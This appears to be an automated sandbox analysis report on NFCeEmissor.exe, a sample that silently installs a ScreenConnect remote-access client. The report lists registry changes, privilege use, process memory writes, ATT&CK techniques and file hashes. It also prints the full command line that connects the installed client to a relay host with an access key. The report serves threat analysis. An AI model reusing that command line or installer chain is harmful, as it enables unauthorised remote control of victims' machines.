Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\EA332FDB6120AC448060146D6B352BAB\SourceList	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\EA332FDB6120AC448060146D6B352BAB\SourceList\Media\1 = ";"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-1e1e0cdf908eddf1\shell	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-1e1e0cdf908eddf1\shell\open	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-3137-B7EFB0257CF5}\InprocServer32	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\EA332FDB6120AC448060146D6B352BAB	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\EA332FDB6120AC448060146D6B352BAB\Version = "419954689"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\EA332FDB6120AC448060146D6B352BAB\AuthorizedLUAApp = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-1e1e0cdf908eddf1\shell\open\command	msiexec.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1384	msiexec.exe
1384	msiexec.exe
4996	ScreenConnect.ClientService.exe
4996	ScreenConnect.ClientService.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5992	NFCeEmissor.exe
Token: SeShutdownPrivilege	5400	msiexec.exe
Token: SeIncreaseQuotaPrivilege	5400	msiexec.exe
Token: SeSecurityPrivilege	1384	msiexec.exe
Token: SeCreateTokenPrivilege	5400	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	5400	msiexec.exe
Token: SeLockMemoryPrivilege	5400	msiexec.exe
Token: SeIncreaseQuotaPrivilege	5400	msiexec.exe
Token: SeMachineAccountPrivilege	5400	msiexec.exe
Token: SeTcbPrivilege	5400	msiexec.exe
Token: SeSecurityPrivilege	5400	msiexec.exe
Token: SeTakeOwnershipPrivilege	5400	msiexec.exe
Token: SeLoadDriverPrivilege	5400	msiexec.exe
Token: SeSystemProfilePrivilege	5400	msiexec.exe
Token: SeSystemtimePrivilege	5400	msiexec.exe
Token: SeProfSingleProcessPrivilege	5400	msiexec.exe
Token: SeIncBasePriorityPrivilege	5400	msiexec.exe
Token: SeCreatePagefilePrivilege	5400	msiexec.exe
Token: SeCreatePermanentPrivilege	5400	msiexec.exe
Token: SeBackupPrivilege	5400	msiexec.exe
Token: SeRestorePrivilege	5400	msiexec.exe
Token: SeShutdownPrivilege	5400	msiexec.exe
Token: SeDebugPrivilege	5400	msiexec.exe
Token: SeAuditPrivilege	5400	msiexec.exe
Token: SeSystemEnvironmentPrivilege	5400	msiexec.exe
Token: SeChangeNotifyPrivilege	5400	msiexec.exe
Token: SeRemoteShutdownPrivilege	5400	msiexec.exe
Token: SeUndockPrivilege	5400	msiexec.exe
Token: SeSyncAgentPrivilege	5400	msiexec.exe
Token: SeEnableDelegationPrivilege	5400	msiexec.exe
Token: SeManageVolumePrivilege	5400	msiexec.exe
Token: SeImpersonatePrivilege	5400	msiexec.exe
Token: SeCreateGlobalPrivilege	5400	msiexec.exe
Token: SeCreateTokenPrivilege	5400	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	5400	msiexec.exe
Token: SeLockMemoryPrivilege	5400	msiexec.exe
Token: SeIncreaseQuotaPrivilege	5400	msiexec.exe
Token: SeMachineAccountPrivilege	5400	msiexec.exe
Token: SeTcbPrivilege	5400	msiexec.exe
Token: SeSecurityPrivilege	5400	msiexec.exe
Token: SeTakeOwnershipPrivilege	5400	msiexec.exe
Token: SeLoadDriverPrivilege	5400	msiexec.exe
Token: SeSystemProfilePrivilege	5400	msiexec.exe
Token: SeSystemtimePrivilege	5400	msiexec.exe
Token: SeProfSingleProcessPrivilege	5400	msiexec.exe
Token: SeIncBasePriorityPrivilege	5400	msiexec.exe
Token: SeCreatePagefilePrivilege	5400	msiexec.exe
Token: SeCreatePermanentPrivilege	5400	msiexec.exe
Token: SeBackupPrivilege	5400	msiexec.exe
Token: SeRestorePrivilege	5400	msiexec.exe
Token: SeShutdownPrivilege	5400	msiexec.exe
Token: SeDebugPrivilege	5400	msiexec.exe
Token: SeAuditPrivilege	5400	msiexec.exe
Token: SeSystemEnvironmentPrivilege	5400	msiexec.exe
Token: SeChangeNotifyPrivilege	5400	msiexec.exe
Token: SeRemoteShutdownPrivilege	5400	msiexec.exe
Token: SeUndockPrivilege	5400	msiexec.exe
Token: SeSyncAgentPrivilege	5400	msiexec.exe
Token: SeEnableDelegationPrivilege	5400	msiexec.exe
Token: SeManageVolumePrivilege	5400	msiexec.exe
Token: SeImpersonatePrivilege	5400	msiexec.exe
Token: SeCreateGlobalPrivilege	5400	msiexec.exe
Token: SeCreateTokenPrivilege	5400	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	5400	msiexec.exe

Suspicious use of FindShellTrayWindow 35 IoCs

pid	Process
5400	msiexec.exe
5400	msiexec.exe
3260	ScreenConnect.WindowsClient.exe
3260	ScreenConnect.WindowsClient.exe
3260	ScreenConnect.WindowsClient.exe
3260	ScreenConnect.WindowsClient.exe
3260	ScreenConnect.WindowsClient.exe
3260	ScreenConnect.WindowsClient.exe
3260	ScreenConnect.WindowsClient.exe
3260	ScreenConnect.WindowsClient.exe
3260	ScreenConnect.WindowsClient.exe
3260	ScreenConnect.WindowsClient.exe
3260	ScreenConnect.WindowsClient.exe
3260	ScreenConnect.WindowsClient.exe
3260	ScreenConnect.WindowsClient.exe
3260	ScreenConnect.WindowsClient.exe
3260	ScreenConnect.WindowsClient.exe
3260	ScreenConnect.WindowsClient.exe
3260	ScreenConnect.WindowsClient.exe
3260	ScreenConnect.WindowsClient.exe
3260	ScreenConnect.WindowsClient.exe
3260	ScreenConnect.WindowsClient.exe
3260	ScreenConnect.WindowsClient.exe
3260	ScreenConnect.WindowsClient.exe
3260	ScreenConnect.WindowsClient.exe
3260	ScreenConnect.WindowsClient.exe
3260	ScreenConnect.WindowsClient.exe
3260	ScreenConnect.WindowsClient.exe
3260	ScreenConnect.WindowsClient.exe
3260	ScreenConnect.WindowsClient.exe
3260	ScreenConnect.WindowsClient.exe
3260	ScreenConnect.WindowsClient.exe
3260	ScreenConnect.WindowsClient.exe
3260	ScreenConnect.WindowsClient.exe
3260	ScreenConnect.WindowsClient.exe

Suspicious use of SendNotifyMessage 33 IoCs

pid	Process
3260	ScreenConnect.WindowsClient.exe
3260	ScreenConnect.WindowsClient.exe
3260	ScreenConnect.WindowsClient.exe
3260	ScreenConnect.WindowsClient.exe
3260	ScreenConnect.WindowsClient.exe
3260	ScreenConnect.WindowsClient.exe
3260	ScreenConnect.WindowsClient.exe
3260	ScreenConnect.WindowsClient.exe
3260	ScreenConnect.WindowsClient.exe
3260	ScreenConnect.WindowsClient.exe
3260	ScreenConnect.WindowsClient.exe
3260	ScreenConnect.WindowsClient.exe
3260	ScreenConnect.WindowsClient.exe
3260	ScreenConnect.WindowsClient.exe
3260	ScreenConnect.WindowsClient.exe
3260	ScreenConnect.WindowsClient.exe
3260	ScreenConnect.WindowsClient.exe
3260	ScreenConnect.WindowsClient.exe
3260	ScreenConnect.WindowsClient.exe
3260	ScreenConnect.WindowsClient.exe
3260	ScreenConnect.WindowsClient.exe
3260	ScreenConnect.WindowsClient.exe
3260	ScreenConnect.WindowsClient.exe
3260	ScreenConnect.WindowsClient.exe
3260	ScreenConnect.WindowsClient.exe
3260	ScreenConnect.WindowsClient.exe
3260	ScreenConnect.WindowsClient.exe
3260	ScreenConnect.WindowsClient.exe
3260	ScreenConnect.WindowsClient.exe
3260	ScreenConnect.WindowsClient.exe
3260	ScreenConnect.WindowsClient.exe
3260	ScreenConnect.WindowsClient.exe
3260	ScreenConnect.WindowsClient.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 5992 wrote to memory of 5400	5992	NFCeEmissor.exe	78
PID 5992 wrote to memory of 5400	5992	NFCeEmissor.exe	78
PID 5992 wrote to memory of 5400	5992	NFCeEmissor.exe	78
PID 1384 wrote to memory of 3412	1384	msiexec.exe	80
PID 1384 wrote to memory of 3412	1384	msiexec.exe	80
PID 1384 wrote to memory of 3412	1384	msiexec.exe	80
PID 3412 wrote to memory of 2664	3412	MsiExec.exe	81
PID 3412 wrote to memory of 2664	3412	MsiExec.exe	81
PID 3412 wrote to memory of 2664	3412	MsiExec.exe	81
PID 1384 wrote to memory of 4252	1384	msiexec.exe	85
PID 1384 wrote to memory of 4252	1384	msiexec.exe	85
PID 1384 wrote to memory of 2792	1384	msiexec.exe	87
PID 1384 wrote to memory of 2792	1384	msiexec.exe	87
PID 1384 wrote to memory of 2792	1384	msiexec.exe	87
PID 1384 wrote to memory of 5016	1384	msiexec.exe	88
PID 1384 wrote to memory of 5016	1384	msiexec.exe	88
PID 1384 wrote to memory of 5016	1384	msiexec.exe	88
PID 4996 wrote to memory of 3260	4996	ScreenConnect.ClientService.exe	90
PID 4996 wrote to memory of 3260	4996	ScreenConnect.ClientService.exe	90

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\NFCeEmissor.exe
"C:\Users\Admin\AppData\Local\Temp\NFCeEmissor.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5992
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.8.1.9447\1e1e0cdf908eddf1\ScreenConnect.ClientSetup.msi"
  2⤵
  - Badlisted process makes network request
  - Enumerates connected drives
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:5400

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Boot or Logon Autostart Execution: Authentication Package
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1384
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 1006CEF4EA874ACB3186FD095621E076 C
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3412
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI9B65.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240622484 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:2664
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  PID:4252
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 70992BC6562AAFE8155D94AF2505EFCF
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:2792
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 9663D09833AD18B5A9AE1EA03FF42DA6 E Global\MSI0000
  2⤵
  - Drops file in Windows directory
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:5016

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
PID:5024

C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\ScreenConnect.ClientService.exe
"C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=instance-jrildx-relay.screenconnect.com&p=443&s=2ab985e4-3a09-446f-885b-88d6b2a33ba2&k=BgIAAACkAABSU0ExAAgAAAEAAQBJ8w2%2b%2fCZDnkkT6rmdV6hIYhdQAxG%2f8FWhMLTfZnnOHPemyglGh2fBFOHI1LEf4DcisnAkXvRDNCWfjchQXMxOEZh9LwRjhYZP0xfNKDLVn79EUEL9Mkn%2bI8fBiO1pBfS28g3ZgxJy3CGPQJIUiIkN1Fxw%2bo23I5K95cKoiM96NlbTnf2P87gWoO9OB2rCri7U0DUXYBxXqsbdmSIm7jWfpzVEQDQR7If%2bCl%2fweNs2bljkU7xKFulTc8rJeOWqWtJxFpm9HEBJ0UZbXB1veGEerwoSuJNj9LXPFe3y7phh%2beH12Fko3ukFPTWy6LPwsdQg1y95wsQWBnNo4I9RE1Gv&c=Clientes%20game&c=&c=&c=&c=&c=&c=&c="
1⤵
- Sets service image path in registry
- Drops file in System32 directory
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4996
- C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\ScreenConnect.WindowsClient.exe" "RunRole" "8ea00a1d-74a3-4b5d-9123-fac6530575f9" "User"
  2⤵
  - Executes dropped EXE
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:3260

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Authentication Package

T1547.002

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Authentication Package

T1547.002

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

e57c96b.rbs

Path C:\Config.Msi\e57c96b.rbs
Size 214KB
SHA256 086cb352431540d9c5b9a5b7409ed275488ebdb4eee644d1e6d96cc9e011bf34
MD5 f9755c84771a703a7213bd9d4ea22bc6
SHA1 158a3a485c49595969675504eb4d1596eec20e69
SHA512 dcdf6caa622bd9e5ab0f9a39c7901e248ebf156e0ba9d42476c7b5c09f1dc4a3297f24ff24ba3f900f022231e587412e5b06bf2999e86e7a8366a6ba05a4ad62
SSDEEP 3072:U59LUHM7ptZ8UKOGw5vMWSuRy1YaDJkflQn3H+QDO/6Q+cxbr0qMGR:U5uH2aCGw1ST1wQLdqvR
MD5 SHA1 SHA512 SSDEEP

Submit Download

Client.en-US.resources

Path C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\Client.en-US.resources
Size 64KB
SHA256 efdb0b4fcc38b52cbf72336bd107a814db8454003f3495de21e2026a148823ea
MD5 92232708774febf9a4a464bbeda36215
SHA1 521d4e630f5e00977bbca7cd17dd0d22dbe1ca9e
SHA512 59442cbc57604f0dd170bb4f86f0e2b6c96408daf67250e6f40e00d034033b6871502cd83df0267f4628c3a035f191d56f26bf1927e691b5330524eb810852f2
SSDEEP 1536:5fkiK2FoQ67wwLFSj7Be3sZvU/7UFN+9nwLLChTKN1ljpneMarA:5fkiK2FoQ6jFSj7Be3sZvU/7UFN+9nwS
MD5 SHA1 SHA512 SSDEEP

Submit Download

Client.resources

Path C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\Client.resources
Size 2KB
SHA256 4514129a17cafb2891674dd75cf25dfc3e2ac08a08f7adebeba3519f2313ac5e
MD5 c4f2cff169ba9db3e208c833c73431d9
SHA1 3cca7222ebc8a51750157c908a7ba2ddfb49083b
SHA512 c68ff4e9925b99cd50a8f36dc4b5a3ed3c9e62874248d93714cd2e3059e2157f1b4db9c1aae60ba6a3f121e2231b88c824eb805599d98eddbcd31e35b4ed4c62
MD5 SHA1 SHA512

Submit Download

ScreenConnect.Client.dll

Path C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\ScreenConnect.Client.dll
Size 400KB
SHA256 50d7b8308782136bfdb33082f60c0c1904af7f54d4c7abe1326a19aca1d7d9c8
MD5 7e7db820576f019ac6e969f150cc6f3a
SHA1 009bbb8ab4de6023f7226cc3655fdd77418bcb54
SHA512 2986a9588ed0522c74f0bc0203fbf8a1626af9670cad176201a8c0d21e4f649db8bd2868cc94f50f4641167b972b9aea80bd0961b75fdcf07a607200f5da651d
SSDEEP 6144:+MSiC+kXJN7ZvH8ETEavHy+vd7JPYIYyqQni65/PGi:BSF+q5HHTEavSW7OQni3i
MD5 SHA1 SHA512 SSDEEP

Submit Download

ScreenConnect.ClientService.dll

Path C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\ScreenConnect.ClientService.dll
Size 78KB
SHA256 c620701ec9c3b4467136bc7874408ea7df0e089c1ae6e9a1d01a18677850d5bc
MD5 7894e9fb93fbc919bd880c9a14634a06
SHA1 c55a6474ea1ac45f2cac29d0d8acbda61bbea999
SHA512 6fa574e85f64119c9b40c5fecd3d283733f536a8f9abec1876031d802f85be7cf462840af0dd4066de08931fa0102807a4602e9ec4b5cb9241c4a026f6150883
SSDEEP 1536:57nnFxZ5/ZSXj+LFOPB8PrHYEkRQXV3lTq2obPYc7Wg:57nZ5/ZSXjgFqKPrT+QXVFqYcqg
MD5 SHA1 SHA512 SSDEEP

Submit Download

ScreenConnect.ClientService.exe

Path C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\ScreenConnect.ClientService.exe
Size 93KB
SHA256 45f63f2abad5211bd4c12e77b7a2b1d704c534bb18a4638c1fab04abdcfb477d
MD5 550967a12919576e656cd66df5bec03b
SHA1 095a8bad1d06bfc7c6efbb3091217013bc021155
SHA512 7f22c95509fe76d7e0cfbd6c55ece2c40a813fecf504e6d1c7bfe37ad2bb2df2b9f26a59c28d50c1d29cac641b699f18651abfb45b200479b497817f08037316
SSDEEP 1536:Gg1s9pgbNBAklbZfe2+zRVdHeDxGXAorrCnBsWBcd6myJkg0U0HMQ7YM:HhbNDxZGXfdHrX7rAc6myJkg0U0HVUM
MD5 SHA1 SHA512 SSDEEP

Submit Download

ScreenConnect.Core.dll

Path C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\ScreenConnect.Core.dll
Size 553KB
SHA256 cc2eb5415b72a5800c4275c4061aaea17dc43403f9404240afce5bd227cee190
MD5 8baa69e9ed5ad4ae2fad8505a2eaf724
SHA1 35d2945a3f455d0b7445ac005d35ddd8bf93c9a3
SHA512 fc22528bfd58a5d96ff8abd46f3a3f04f3f8ec2d87b1f92911213e933724c1d356c6bd7afaf6f31c1646183f71983e7c76c8d30f411d7b5de7b1a1c3da11a822
SSDEEP 12288:Cx6Uvha0XYZB2N/R6qIs22VFtsbbeHEzna3:mhXBJFtsMEzna
MD5 SHA1 SHA512 SSDEEP

Submit Download

ScreenConnect.Windows.dll

Path C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\ScreenConnect.Windows.dll
Size 1.7MB
SHA256 91ad9b6a20b40f93b18e97d1d177b51656b9d08388f6d45949aaa45d2a13ec64
MD5 e910beca0c7b82d56e3342b6bfae4a7b
SHA1 b4bb0c8421136ea49349ec80c1e559df895bc301
SHA512 1da37e63753b62bb2bd31b8b30e35201684823f25d529bc100ad4da95c1473f4e2f8c9d57932e0bd1a24a46075c68f4a6ac30e6f5fb44b19c5c08cdc79daea6a
SSDEEP 24576:LNpfFj+Ifz3zvnXj/zXzvAAkGz8mvgtX79S+2bfh+RfmT01krTFiH4SqfKPTsUT7:xpfJkGYYpT0+TFiH7efPi
MD5 SHA1 SHA512 SSDEEP

Submit Download

ScreenConnect.WindowsAuthenticationPackage.dll

Path C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\ScreenConnect.WindowsAuthenticationPackage.dll
Size 254KB
SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
MD5 5adcb5ae1a1690be69fd22bdf3c2db60
SHA1 09a802b06a4387b0f13bf2cda84f53ca5bdc3785
SHA512 812be742f26d0c42fdde20ab4a02f1b47389f8d1acaa6a5bb3409ba27c64be444ac06d4129981b48fa02d4c06b526cb5006219541b0786f8f37cf2a183a18a73
SSDEEP 3072:qJvChyA4m2zNGvxDd6Q6dtaVNVrlaHpFahvJ9ERnWtMG8Ff2lt9Bgcld5aaYxg:0IvxDdL6d8VNdlC3g0RCXh5D
MD5 SHA1 SHA512 SSDEEP

Submit Download

ScreenConnect.WindowsClient.exe

Path C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\ScreenConnect.WindowsClient.exe
Size 603KB
SHA256 4f176105e5ccb4325fbc62c1097bda7a2afe4d012ddd717d68e72ad3658641ee
MD5 941e9e77a3767b6ea7cada56bda8695e
SHA1 81bc4260a3ee264243dae6d1ceb0fd963dbcb2dc
SHA512 c6182f92fbc45dd7be210ac6aba2a9206e7f3aa748bb0b241dbd484c5fb5acd26e5c0b7b254ad0ccc8f1f442fe97ac3a0b9d0ecc921319059806aa6a11873ad3
SSDEEP 12288:umREZ5mKf2cQF7t590iglIUGrpDkGn0zu5gSTN:0mKfo2StD70KiSTN
MD5 SHA1 SHA512 SSDEEP

Submit Download

ScreenConnect.WindowsClient.exe.config

Path C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\ScreenConnect.WindowsClient.exe.config
Size 266B
SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
MD5 728175e20ffbceb46760bb5e1112f38b
SHA1 2421add1f3c9c5ed9c80b339881d08ab10b340e3
SHA512 fb9b57f4e6c04537e8fdb7cc367743c51bf2a0ad4c3c70dddab4ea0cf9ff42d5aeb9d591125e7331374f8201cebf8d0293ad934c667c1394dc63ce96933124e7
MD5 SHA1 SHA512

Submit Download

ScreenConnect.WindowsCredentialProvider.dll

Path C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\ScreenConnect.WindowsCredentialProvider.dll
Size 838KB
SHA256 c4783917faaf4660cc52999393401327b6526b9ab47e58839693b798002e1aa1
MD5 2a7525dc20794df20201d3a56a97140c
SHA1 9d6321e38b951c5d04dada9f35b04bea1b87ba76
SHA512 7f6006146a5dd59a9bf549d51ed290fc7d69dbe0c0a713820f6da6b71c5cd7947d948e10fc8eeeef03cbfecde925a82e25f1e9373c63b4960215591bcb440df8
SSDEEP 12288:RhUSQJg/+QShEMuu/gUD+FkoiS+upfHHj:RwNQrMuu/gUD+Son+2fnj
MD5 SHA1 SHA512 SSDEEP

Submit Download

system.config

Path C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\system.config
Size 960B
SHA256 06159fe3ef201175f211a48fce4ba636e654804366c0d4cdb277fc7fed01391c
MD5 2fe44bc32c3936c6cc9b78e4ec1e23e7
SHA1 e62fdf452be2780bcb555360dd291bda69348e4b
SHA512 8c197074e609bc5f67b14f97e027ef7704216982bfd6d501b673861c5a5fb8a650baeeb7b336e8a5f0d68baaeee52268b1e02419af112e692d0f3a20303abb0d
MD5 SHA1 SHA512

Submit Download

8EC9B1D0ABBD7F98B401D425828828CE_AE4B983DE066DC93BB134616BF886138

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8EC9B1D0ABBD7F98B401D425828828CE_AE4B983DE066DC93BB134616BF886138
Size 727B
SHA256 0742a0e1f1182f6072688e2828787f697a426bf88143558630b4a5bf1dfa0684
MD5 c818a8b839aad0c89992de9b62142c0a
SHA1 c095c16fed3caa71068279107565f75fb1290ac9
SHA512 aa0e84adb50a390bd70bf2fe254a008aaa719ce56f32668dc22c66d70738673e4c85474e9d320b5fbc28a9dad2f167fb5c8517767ca996c19a45c79ebb545cc0
MD5 SHA1 SHA512

Submit Download

C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141
Size 727B
SHA256 59f0512dd3f0d54ebbfbe743fdb9a2c354918ca1edb29cacbe30a2cd556e306f
MD5 bd604601262cdaccd6a0300e1616073a
SHA1 6fb00a548c3e0d53e6340a2529e8f23146f1611f
SHA512 0a89468668d2ef5af3bc120d2eae8258e9e4524ddf75cebf41b47b58b54ac24473cf353c4d9b6f6519ee18c23797c95c37f483c9e783716ed17233bc0f8cc999
MD5 SHA1 SHA512

Submit Download

8EC9B1D0ABBD7F98B401D425828828CE_AE4B983DE066DC93BB134616BF886138

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8EC9B1D0ABBD7F98B401D425828828CE_AE4B983DE066DC93BB134616BF886138
Size 408B
SHA256 efa5a5b8daec4c505c089d6f7d712670fbe1e054a39efe526af82bd7748534e1
MD5 16e7c779efd6e903f445e15efd8930c1
SHA1 288984b6e39482157c642ffa3fdf72c48e23c73e
SHA512 b2468f0022295e4ec740efdf34d1b6efcbcd5801a26eb3e43b23b1480defb9d362191cf5d46867871f246978f9907702b926ec86248fdc3cf1cc76b3f4603c2d
MD5 SHA1 SHA512

Submit Download

C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141
Size 412B
SHA256 7acb57e6d242d6735be5c97ec0977174ae20b860ccfb82027fff566e51dd807f
MD5 ff06e3237704ecaf9c16d13f17f745d5
SHA1 962007cdbc40347680f0d70aaa88ffde033e80e1
SHA512 a3cfba45aec432fe3eed048b3cbb2ece852daae126176f2b75ccd84f410368fa57734b1862600d93d4479c5d4ba16682637f6ed5fd42e8e5f5b1ce70e0927d1c
MD5 SHA1 SHA512

Submit Download

MSI9B65.tmp

Path C:\Users\Admin\AppData\Local\Temp\MSI9B65.tmp
Size 1.1MB
SHA256 87da17597be0c72da0709cd13c9564f9e8c64640dafffc6bd4a4d9b46fa96065
MD5 af7c89c753444ec4735a494d1c6e8ed7
SHA1 565b1ca514dbbe2a352bd904f9411ff0719b1648
SHA512 ae1841e68ba9758565634a8e04d347f6f47b646888c8cd237154f0714bbecc17ea77d10befe2070f978986a10a32c71784e0eb4cd5f1afde3acc23fc34a855d7
SSDEEP 24576:JUUGGNmfvdImoAUyKyTbPRdO0E5pal56bC6AXt28:KGNQSImwdy5p8IO9J
MD5 SHA1 SHA512 SSDEEP

Submit Download

Microsoft.Deployment.WindowsInstaller.dll

Path C:\Users\Admin\AppData\Local\Temp\MSI9B65.tmp-\Microsoft.Deployment.WindowsInstaller.dll
Size 172KB
SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
MD5 5ef88919012e4a3d8a1e2955dc8c8d81
SHA1 c0cfb830b8f1d990e3836e0bcc786e7972c9ed62
SHA512 4544565b7d69761f9b4532cc85e7c654e591b2264eb8da28e60a058151030b53a99d1b2833f11bfc8acc837eecc44a7d0dbd8bc7af97fc0e0f4938c43f9c2684
SSDEEP 3072:FkfZS7FUguxN+77b1W5GR69UgoCaf8TpCnfKlRUjW01Ky4:x+c7b1W4R6joxfQE
MD5 SHA1 SHA512 SSDEEP

Submit Download

ScreenConnect.Core.dll

Path C:\Users\Admin\AppData\Local\Temp\MSI9B65.tmp-\ScreenConnect.Core.dll
Size 543KB
SHA256 c49e5ccb0fd1149618ce7d8f6fc152c2f96162171487a1c7742b06f6096790b1
MD5 8f13d8784d665015bd8f01b30b89ca45
SHA1 afa32b1c7392d4a6387cd821b768a02ca6adaf29
SHA512 3adfa55b34cbc6433a431abaaad99aa19fad2107a8617c65272e84fb04f1cbdcf3dbdbe40f40db571413240a18d0a8463904d4724dd692ec01858550aeebda5d
SSDEEP 12288:Ex6Uvha0XYZB2N/R6qIs22VFtsbbeHEzna:MhXBJFtsMEzn
MD5 SHA1 SHA512 SSDEEP

Submit Download

ScreenConnect.InstallerActions.dll

Path C:\Users\Admin\AppData\Local\Temp\MSI9B65.tmp-\ScreenConnect.InstallerActions.dll
Size 11KB
SHA256 13189092807edd38da041b845bcb6db4100aaec67e2daba93f2675688653c73d
MD5 034546944154fc48da838811f2faef0c
SHA1 3ecfd0b30a31cd23c967591b3af3a66e4ddd4fb2
SHA512 66d08f6a649b0981f1816469aaf29dfb221d68e137563cfe2feb5c1c2c67f4e9c30507e94c0d04d8624e20017159407567004660c79b7dd1d5261559ca0889fb
SSDEEP 192:48/Qp6lCJuV3j2XtyVNamVNG1YZfCrMmbfHJ7kjvLubuLd9NEFb4W2W:V/cBJaCXt2NaheUrMmb/FkjvLubuZ5pW
MD5 SHA1 SHA512 SSDEEP

Submit Download

ScreenConnect.Windows.dll

Path C:\Users\Admin\AppData\Local\Temp\MSI9B65.tmp-\ScreenConnect.Windows.dll
Size 1.7MB
SHA256 97b16d92304c032fcb72da94b776f2daddbe5898157524b04414897cdd6ef60e
MD5 5aba51616bd173fb0a1cd4cccf3f7f0a
SHA1 d29f48f265a9fd7ed78578b15230860e1db6e2b9
